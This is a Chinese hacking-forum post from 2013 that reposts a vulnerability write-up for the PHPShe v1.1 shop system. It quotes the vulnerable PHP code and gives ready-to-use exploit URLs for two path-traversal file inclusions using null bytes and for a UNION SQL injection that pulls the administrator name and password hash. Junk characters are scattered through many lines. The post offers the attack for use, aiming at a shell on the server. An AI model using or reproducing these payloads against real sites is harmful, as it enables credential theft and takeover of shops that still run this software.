找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2222|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-16 16:45:03 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
/*******************************************************/2 a7 c3 O% g/ I, A9 e
/* Phpshe v1.1 Vulnerability
  l& B$ m; q% D7 A! C3 R/* ========================. ~- U6 c" w+ V7 o
/* By: : Kn1f3
8 s& P3 m! u1 G2 h/* E-Mail : 681796@qq.com7 ~" i$ o% K% }- h# R7 R% @
/*******************************************************/2 t8 a5 V7 o0 c( W* `1 N- ]
0×00 整体大概参数传输
) v' }3 }. I; @ " Y& N# M; K+ K2 b
0 S) f& ?1 }7 Y
! R6 Z6 a6 K" d" `) R" I
//common.php4 c; W- r& M) R
if (get_magic_quotes_gpc()) {; G5 X; q. k/ h9 D/ o
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
( d7 f7 i3 J/ P7 O( I8 K2 b' V!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
( X! S* D* I% Z0 m4 [( x}7 Q& s- j+ r' N, Z
else {
+ }- \. {! V. [; e2 m8 ^!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');, d9 T- r7 e# D! I
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');2 G& P2 [0 {9 v- O- A8 a; R8 w
}% o' a" R) F9 Z1 ^
session_start();
8 D$ D8 r. x3 c; J3 N7 n: _' _7 I!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');5 C1 m- w7 N8 b( t8 \
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
( [; p0 K5 e5 g% a, i4 o  p& h# I+ q: z- C' F' |; {
0×01 包含漏洞$ D8 F% [' a* q# P& @$ N" i

9 O0 N5 p+ ]8 p- {; l5 E& j  d& l
& j4 s! Z, [8 B+ q4 B9 G0 G
//首页文件
4 v9 r3 Z7 D! ^) q<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);" S  }! q* L- y2 Y
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
3 c" n/ \6 T+ Xpe_result();
+ H& d, I! ~6 [& `?>
' O( d8 R. P) n3 }//common 文件 第15行开始* C# E& ]* |% q( {
url路由配置
" H; T# k4 Q8 e! k6 x" A/ f6 c$module = $mod = $act = 'index';
3 Z& U$ ]3 E0 m3 Y. V$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);% K+ g+ a+ I: r) e, C
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);( \) J$ v$ y8 i- M+ V5 z4 _
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);3 `4 P: Y$ t2 |
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
% k6 A) C: n3 j: s


/ Z* Y2 ?) }* a  C% l ! v2 F4 y" _: t) `
0×02 搜索注入* W( Y' s) u! R1 P) N1 R

$ P. z# g' Z  z3 h<code id="code2">

//product.php文件
( M( @2 ]3 V1 Q- L3 r% t  Ecase 'list':
* c: t: h1 r6 f- t# Q3 |( f2 o1 ^: X: T$category_id = intval($id);
2 z3 b6 q. \. ~) l$info = $db->pe_select('category', array('category_id'=>$category_id));
. Q0 O5 E. A  s//搜索
8 {# A# C  t8 f5 ]3 @$sqlwhere = " and `product_state` = 1";0 T* d/ r1 t- o( c/ ~
pe_lead('hook/category.hook.php');
% @; H. f8 R; ?0 Y( b1 z' tif ($category_id) {9 h2 m# T) e( m: K
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";# k0 c* h* ^( s3 l- c
}# S: q+ d/ W! z" B0 Z# s
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
2 f. U& W2 N2 h2 d3 Y' y, Qif ($_g_orderby) {
/ V5 G4 ~; {% p3 l% Q9 d& [2 o$orderby = explode('_', $_g_orderby);
& L( i1 s+ w' j1 a( o4 B: r$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
) k' r% ^% |$ ^% h& L3 H5 s}
, G- x! p# h6 oelse {
1 o3 ~6 U4 y9 D; V$sqlwhere .= " order by `product_id` desc";" K* D. `% @- t4 P. n( ]# D& `
}
* O( A7 t5 Q- ^$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));& E% ?% a! {/ k
//热卖排行- w7 _3 B1 g0 m: y5 R$ j5 \! A+ V
$product_hotlist = product_hotlist();
' B. x, Q8 }8 A% V5 O% O2 Y//当前路径
! O; i4 W# k4 N  M% z1 S) l$ q3 ]$nowpath = category_path($category_id);3 _! \3 W6 A- W1 o2 y; _) [. m) O
$seo = pe_seo($info['category_name']);
! I' [  H# Q2 [! q* F$ kinclude(pe_tpl('product_list.html'));
: o1 _3 n2 m" T& N- J6 Z5 l//跟进selectall函数库8 C" |" }7 g# z9 q* p, y8 N) Y
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
) V* u0 C0 P9 y/ B- d" y1 h( R{& D$ q( [% I  i( {- U8 m: T. l" J
//处理条件语句
9 x" m8 ]0 C  Q, `% X1 Q( x$sqlwhere = $this->_dowhere($where);# e' Z9 u6 j$ n2 ?
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);1 S  r: d3 D1 x# d4 e& {- `4 L
}
0 G. h6 ~/ X7 E5 A//exp6 U& @, p7 Q5 Z% A" g0 h
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
% R8 e, i: @+ u+ ?" V) y

</code>1 U! ~, I' c( L: z! ^" G0 |
; }, u# Z+ h- m9 |
0×03 包含漏洞2! n& t% d; B- @* W7 z4 v& b

8 n7 u' N+ Y/ g* T8 T) {7 n% a% S<code id="code3">

//order.php

case 'pay':


8 O, T( D+ C& ]7 ~6 g& j$order_id = pe_dbhold($_g_id);

5 |! g8 C7 {, y( i* X
$cache_payway = cache::get('payway');


* t, G4 R9 \* {' W4 @foreach($cache_payway as $k => $v) {


6 r1 K: d1 \" l" Y' G( q$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

7 F( R' W1 m  u8 N2 ?; c
if ($k == 'bank') {

4 L) Y- K4 `# W# c
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


8 w" T1 e% |" L; ~- `' f% K- p- P1 Y% d}

- O0 z+ d$ q8 z
}

( r1 d" a) V" f: M- V( S
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

" \5 w/ E+ f% ]: _
!$order['order_id'] && pe_error('订单号错误...');


9 U- W% F' c, d  y2 Lif (isset($_p_pesubmit)) {

/ U. {" Y* m8 S
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


8 l, y6 r$ X2 O2 J$ v1 L$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

3 \2 ~4 b- I- T# d8 G2 ?
foreach ($info_list as $v) {

7 T' S0 f4 @- C; L0 Z1 ]4 w6 @/ m
$order['order_name'] .= "{$v['product_name']};";) F0 z% q% e8 q" S8 t1 ?

9 Z) e0 r( V; W1 m8 ]' q7 Y: c9 M
}


( P# }* O3 Z4 t. K1 Vecho '正在为您连接支付网站,请稍后...';


" S* I( r) X" hinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

- T3 l" D0 s7 A
}//当一切准备好的时候就可以进行"鸡肋包含了"


/ q- Q+ @( K# k" @1 g* _+ y3 melse {


$ ]/ t( P" ^: s5 |* Kpe_error('支付错误...');

$ [, W4 ?! g( W
}


9 P* C0 k, p' m* F0 {( Z- N}


2 t3 d, e. o0 P, Y3 m5 [$seo = pe_seo('选择支付方式');


4 d8 e( U0 H/ j9 [& l3 I3 iinclude(pe_tpl('order_pay.html'));


; X, X: b2 _, i( z& Z2 ~break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>! }4 o0 R$ e. Q! @0 `( @( g
http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表